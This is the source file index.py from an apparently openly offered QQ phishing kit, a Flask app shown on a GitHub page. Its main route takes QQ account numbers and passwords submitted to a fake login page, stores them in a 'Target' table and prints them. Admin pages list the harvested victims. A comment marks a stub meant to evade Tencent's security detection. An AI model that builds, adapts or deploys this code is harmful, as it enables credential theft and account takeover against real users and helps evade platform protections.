forked from Cl0udG0d/QQFishing
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.py
89 lines (78 loc) · 2.95 KB
/
index.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from flask import render_template, request, redirect, url_for, session, flash
from decorators import login_required
from config import app
from models import User, Target
from exts import db
#用于逃逸腾讯安全检测
# def escape():
# return
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
return render_template('index.html')
else:
username=request.form.get("account")
password=request.form.get("password")
saveprofile(username,password)
print("QQ号:{} 密码:{}".format(username,password))
return render_template('index.html')
@app.route('/login/', methods=['GET', 'POST'])
def adminlogin():
if request.method == 'GET':
return render_template('administrator-login.html')
else:
email = request.form.get('email')
remeber = request.form.get('remeber')
password = request.form.get('password')
user = User.query.filter(User.email == email).first()
if user and user.check_password(password):
if remeber:
session.permanent = True
session['user_id'] = user.id
return redirect(url_for('adminindex'))
else:
flash("邮箱或密码输入错误")
return render_template('administrator-login.html')
@app.route('/adminindex/<int:page>', methods=['GET', 'POST'])
@app.route('/adminindex', methods=['GET', 'POST'])
@login_required
def adminindex(page=None):
if not page:
page = 1
per_page = 20
try:
paginate = Target.query.order_by(Target.date.desc()).paginate(page, per_page, error_out=False)
except:
paginate = Target.query.paginate(page, per_page, error_out=False)
targetlist = paginate.items
return render_template('target.html', paginate=paginate, targetlist=targetlist)
@app.route('/editpassword', methods=['GET', 'POST'])
@login_required
def editpasswd():
if request.method == 'GET':
return render_template('editpasswd.html')
else:
user_id = session.get('user_id')
nowuser = User.query.filter(User.id == user_id).first()
oldpassword = request.form.get('oldpassword')
password1 = request.form.get('password1')
password2 = request.form.get('password2')
if nowuser.check_password(oldpassword):
if password1 != password2:
message = "两次密码输入不一致"
flash(message)
return render_template('editpasswd.html')
else:
nowuser.set_password(password1)
db.session.commit()
session.clear()
return redirect(url_for('adminlogin'))
else:
flash("旧密码输入错误 :(")
return render_template('editpasswd.html')
def saveprofile(username,password):
target = Target(username=username, password=password)
db.session.add(target)
db.session.commit()
if __name__ == '__main__':
app.run()